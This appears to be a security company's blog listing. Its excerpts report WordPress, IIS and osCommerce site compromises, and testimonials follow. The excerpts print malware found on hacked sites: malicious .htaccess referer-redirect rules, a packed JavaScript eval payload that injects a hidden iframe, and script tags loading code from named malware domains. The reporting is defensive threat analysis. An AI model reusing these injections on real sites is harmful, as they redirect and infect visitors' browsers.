New .htaccess attacks

Seeing some interesting modifications to the old style of .htaccess attacks. The attackers are using a lot of referer domains and using .in domains (along with the .ru). This is an example of the .htaccess hacked: RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista| msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos| search|metacrawler|bing|dogpile|facebook| twitter|blog|live|myspace|mail|yandex|rambler|ya|aport| linkedin|flickr|nigma|liveinternet|vkontakte| webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km| gigablast|entireweb|amfibi|dmoz|yippy|search| walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut| about|thunderstone|ixquick|terra|lookle| metaeureka|searchspot|slider|topseven|allthesites|libero| clickey|galaxy|brainysearch|pocketflier| verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot |acoon|cyber-content|devaro|fastbot|netzindex| abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv| suchbiene|suchmaschine|web-archiv|web| websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila| sfr|startpagina|kpnvandaag|ilse|wanadoo |telfort|hispavista|passagen|spray|eniro|telia|bluewin| [...]

New Malware – eval(function(p,a,c,k,e,d)

We are seeing many WordPress sites on shared hosts getting compromised with an encoded javascript malware (using Dean Edwards packer). This is what is gets added to the hacked sites:   <script>eval(function(p,a,c,k,e,d){e=function(c) {return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}; if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}]; e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’ \b’,’g’),k[c])}}return p}(‘i 9(){a=6.h(‘b’);7(!a){5 0=6.j(‘k’);6.g.l(0); .. 9()",y)}’,41,41,’el||ua|indexOf|style|var|document|if|1px| MakeFrameEx|element|yahoo_api|height| width|display|none|body|getElementById|function|createElement| iframe|appendChild|src|id|c0m|msie| toLowerCase|opera|webtv||setTimeout|windows|http|userAgent| 1000|hdghdg|navigator|li|showthread|php| 72241732′.split(‘|’),0,{})) And that code (once decoded by the browser) is used to [...]

SQL injections: nbnjkl.com/urchin.js and jjghui.com/urchin.js

We are seeing many sites compromised with malware from jjghui.com/urchin.js (and now nbnjkl.com/urchin.js). Most of them are IIS/ASP sites and the infection method seems to be similar to the Lizamoon mass infections from a few months ago (SQL injection).   This is how it shows on a hacked site:   <script src= http://nbnjkl.com/urchin.js ></script> We posted full details [...]

New Malware – sweepstakesandcontestsnow.com

We are seeing many WordPress sites on shared hosts (GoDaddy, Bluehost, Dreamhost and a few others) compromised with a malware from sweepstakesandcontestsnow.com. This is what is gets added to the hacked site:   <script src="http://sweepstakesandcontestsnow.com/nl.php?nnn=1">.. And that code is used to infect the browser of the person visiting the compromised web site.   What is interesting [...]

Malware updates: Aug 2011 – .htaccess to .ru and osa.pl, iframes to .cc and .il

We are often asked what were the top domains distributing malware or what threats we see more often on our security scanner.   For the month of August, things were very similar to the previous ones, with a slightly increase in the number of WordPress sites compromised due to the Timthumb.php vulnerability. If your site [...]

Malware update – Timthumb.php and .htaccess redirection

We have been very busy in our blog explaining about the latest TimThumb.php vulnerability and the affect it is having on WordPress web sites.   If you missed the articles, please check here: TimThumb.php – Just the tip of the iceberg Attacks Against Timthumb.php in the Wild – List of Themes and Plugins Being Scanned [...]

osCommerce compromises – Now from tiasissi.com.br

We have been blogging about the “willysy” malware for a little while, but the attacks against osCommerce are still happening and very active. The latest change is that the “willysy.com” (or exero.eu) type of injection have switched to http://tiasissi.com.br/revendedores/jquery/. That’s what shows up on the hacked sites:   <script src= http://tiasissi.com.br/revendedores/jquery/> Sucuri identifies those type of web-based [...]

More spam (via .htaccess) to search-box.in and malware from savebotstat.com

Very interesting .htaccess redirection to send traffic from Google and Yahoo image search to search-box.in. That’s what gets added to the hacked site:   AddHandler application/x-httpd-php .html .htm .asp .aspx .shtml .shtm (10:13:28 AM) kbc_: RewriteEngine On (10:13:29 AM) kbc_: RewriteOptions inherit (10:13:30 AM) kbc_: RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR] (10:13:31 AM) kbc_: RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [...]

Testimonials

    • Let's be honest: the web can be a scary place sometimes. Having done many a WordPress malware cleanup in my day, I've found Sucuri to do a better job than I ever hoped I could do. Not only are they thorough, but they're fast as heck and affordable to boot. You don't just walk into a bad situation without some protection. Sucuri *is* that protection.

    • I like to think I know security, but there is only one company I trust when it comes to the security of my websites, that company is Sucuri. They are, in my opinion, hands-down the leader in web-malware protection and cleanup services. Trust the experts, hire these fools!

    • Before Sucuri we didn’t know that someone was hacked until they told us. (Or actually, when Google blocked their site!) Now we find and fix problems before they even know what’s happening. It’s a Godsend, it’s as simple as possible, and it’s so affordable that quite frankly it’s irresponsible to not use them!

    • As the owner of ClickHOST.com, a shared web hosting company, we are always fighting malware and spam. Recently we partnered with Sucuri and now all our accounts are monitored. I love this product! It not only protects our customers from malware, but these guys will fix a hack in 4 hours.

    • Though I believe my sites are secure, it would be inexcusable for me not to use Sucuri’s service and be absolutely sure around the clock.
